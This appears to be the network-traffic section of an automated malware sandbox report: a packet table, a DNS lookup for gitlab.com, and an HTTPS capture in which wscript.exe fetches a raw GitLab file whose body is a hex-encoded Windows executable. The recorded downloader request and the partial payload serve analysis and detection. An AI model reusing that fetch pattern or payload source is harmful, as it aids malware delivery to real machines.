Jan 14, 2025 15:43:40.931612968 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.931642056 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.931720018 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.931734085 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.931775093 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.973352909 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.973381042 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.973444939 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.973463058 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.973510981 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.973921061 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.973937035 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.973990917 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.973998070 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.974034071 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.974349976 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.974366903 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.974412918 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.974420071 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.974457979 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.974468946 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.976491928 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976506948 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976562023 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.976568937 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976607084 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.976802111 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976816893 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976852894 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.976857901 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.976880074 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.976901054 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.977054119 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977067947 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977114916 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.977122068 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977170944 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.977483988 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977498055 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977539062 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.977543116 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:40.977566004 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:40.977582932 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.017899036 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.017926931 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.018008947 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.018018961 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.018052101 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.018069983 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.059710979 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.059741974 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.059788942 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.059869051 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.059875965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.059912920 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.060151100 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060167074 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060205936 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.060211897 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060234070 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.060250044 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.060657024 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060672045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060728073 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.060734987 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.060769081 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.062941074 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.062959909 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063020945 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063029051 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063055038 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063074112 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063632965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063651085 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063695908 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063702106 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063729048 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063744068 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063811064 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063827038 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063869953 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063875914 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063930988 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063951969 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.063982010 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.063987017 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.064002037 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.064030886 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.104367971 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.104396105 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.104458094 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.104487896 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.104561090 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.104561090 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.146784067 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.146816015 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.146857977 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.146869898 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.146883965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.146888018 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.146908045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.146948099 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.146958113 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.147006035 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.147104025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.147125006 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.147149086 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.147156000 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.147173882 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.147191048 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149254084 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149281025 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149327040 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149334908 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149363995 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149388075 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149549007 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149571896 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149605989 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149610996 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149637938 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149657965 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149827003 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149852991 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149878025 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149883032 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.149909019 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.149946928 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.150059938 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.150082111 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.150120020 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.150125027 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.150171041 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.150216103 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.150266886 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.150274038 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.150327921 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.190639973 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.190675020 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.190731049 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.190757990 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.190774918 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.190819025 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233083963 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233119965 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233184099 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233194113 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233213902 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233237028 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233239889 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233254910 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233268023 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233299017 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233596087 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233625889 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233675957 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233680964 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.233704090 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.233724117 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.235770941 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.235797882 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.235853910 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.235863924 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.235903025 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236063004 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236084938 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236124992 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236129045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236152887 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236171961 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236263990 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236284971 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236316919 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236320972 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236352921 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236757040 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236782074 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236826897 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.236830950 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.236865044 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.277167082 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.277204990 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.277255058 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.277286053 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.277302027 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.277326107 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.320596933 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320631981 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320687056 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.320714951 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320734024 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.320755959 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.320862055 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320883036 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320918083 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.320924044 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.320969105 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.321288109 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.321315050 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.321348906 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.321352959 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.321389914 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324088097 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324115992 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324176073 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324213982 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324254036 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324300051 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324314117 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324359894 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324619055 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324635983 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324683905 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324691057 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324707985 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324733019 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.324959040 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.324980974 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.325014114 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.325020075 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.325051069 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.325067043 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.363553047 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.363619089 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.363682032 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.363692045 CET	443	49714	172.65.251.78	192.168.2.9
Jan 14, 2025 15:43:41.363723993 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.363749027 CET	49714	443	192.168.2.9	172.65.251.78
Jan 14, 2025 15:43:41.420510054 CET	443	49714	172.65.251.78	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 15:43:38.223799944 CET	192.168.2.9	1.1.1.1	0xe685	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 15:43:38.230926037 CET	1.1.1.1	192.168.2.9	0xe685	No error (0)	gitlab.com		172.65.251.78	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49714	172.65.251.78	443	1016	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:43:38 UTC	327	OUT	GET /app8490744/updatesa/-/raw/main/up HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: gitlab.com Connection: Keep-Alive
2025-01-14 14:43:39 UTC	464	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:43:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 78347968 Connection: close CF-Ray: 901e66486cbc4308-EWR CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: inline ETag: "10f836507cd97c5afcfd16e3634fea62" Strict-Transport-Security: max-age=31536000 Vary: Accept
2025-01-14 14:43:39 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2025-01-14 14:43:39 UTC	512	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 33 4d 25 32 46 49 6d 30 31 7a 62 25 32 42 63 4f 4e 53 50 76 44 63 42 25 32 42 25 32 46 68 72 6a 6f 76 56 25 32 42 4f 46 42 4d 49 74 41 4e 35 77 78 6b 47 34 61 66 4d 33 31 4f 76 66 69 76 4f 6a 32 76 62 4e 72 66 6a 68 32 57 25 32 42 51 76 6f 44 50 47 43 79 46 67 4b 4e 61 6c 49 59 70 38 69 79 4c 31 65 79 78 61 6a 51 44 63 25 32 42 53 44 67 25 32 42 78 44 4c 44 54 25 32 46 71 4b 41 4b 70 34 69 70 44 43 45 47 64 53 68 37 30 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3M%2FIm01zb%2BcONSPvDcB%2B%2FhrjovV%2BOFBMItAN5wxkG4afM31OvfivOj2vbNrfjh2W%2BQvoDPGCyFgKNalIYp8iyL1eyxajQDc%2BSDg%2BxDLDT%2FqKAKp4ipDCEGdSh70%3D"}],"group":"cf-nel","max_age":60
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 34 64 35 61 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 66 66 66 66 30 30 30 30 62 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 65 31 66 62 61 30 65 30 30 62 34 30 39 63 64 32 31 62 38 30 31 34 63 63 64 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 66 36 37 37 32 36 31 36 64 32 30 36 33 36 31 36 65 36 65 36 66 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 65 32 30 36 39 36 65 32 30 34 34 34 66 35 33 32 30 36 64 36 66 36 34 36 35 32 65 30 64 30 64 30 61 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a240000000000000
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 34 36 31 30 30 30 30 66 63 36 30 30 33 30 30 30 30 61 30 37 62 30 30 30 30 36 32 30 33 30 30 30 30 30 63 37 61 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 30 32 65 36 34 36 39 36 34 36 31 37 34 30 30 30 30 33 38 30 30 30 30 30 30 30 30 31 30 37 66 30 30 30 30 30 32 30 30 30 30 30 30 36 65 37 64 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 63 30 35 33 36 35 36 33 37 34 36 39 36 66 36 65 30 30 30 38 30 30 30 30 30 30 30 30 32 30 37 66 30 30 30 30 30 32 30 30 30 30 30 30 37 30 37 64 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 63 30 35 66 35 32 34 34 34 31 35 34 34 31 30 30 30 30 30 38 33 32 30 31 30 30 Data Ascii: 4610000fc60030000a07b0000620300000c7a00000000000000000000000000400000402e646964617400003800000000107f0000020000006e7d00000000000000000000000000400000c053656374696f6e000800000000207f000002000000707d00000000000000000000000000400000c05f5244415441000008320100
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 65 39 35 63 30 30 63 63 63 63 63 63 63 63 34 38 38 33 65 63 32 38 66 32 30 66 31 30 30 35 37 34 62 35 37 39 30 30 36 36 30 66 32 65 30 35 34 34 39 31 37 30 30 30 37 61 32 37 37 35 32 35 34 38 38 64 34 63 32 34 33 30 66 66 31 35 38 35 62 66 36 31 30 30 30 66 35 37 63 30 66 32 34 38 30 66 32 61 34 34 32 34 33 30 66 32 30 66 35 65 30 35 36 33 39 30 37 30 30 30 66 32 30 66 31 31 30 35 34 33 62 35 37 39 30 30 34 38 63 37 30 35 65 38 66 63 37 61 30 30 30 30 30 30 30 30 30 30 34 38 38 33 63 34 32 38 63 33 63 63 63 63 63 63 34 38 38 64 30 64 38 39 64 38 35 63 30 30 34 38 38 64 30 35 62 62 64 38 35 63 30 30 34 38 32 62 63 31 34 38 38 64 30 64 37 38 64 30 35 63 30 30 34 38 38 39 30 35 65 39 63 65 37 39 30 30 34 38 38 64 30 35 39 31 64 30 35 63 30 30 34 38 32 62 63 Data Ascii: e95c00cccccccc4883ec28f20f100574b57900660f2e05449170007a277525488d4c2430ff1585bf61000f57c0f2480f2a442430f20f5e0563907000f20f110543b5790048c705e8fc7a00000000004883c428c3cccccc488d0d89d85c00488d05bbd85c00482bc1488d0d78d05c00488905e9ce7900488d0591d05c00482bc
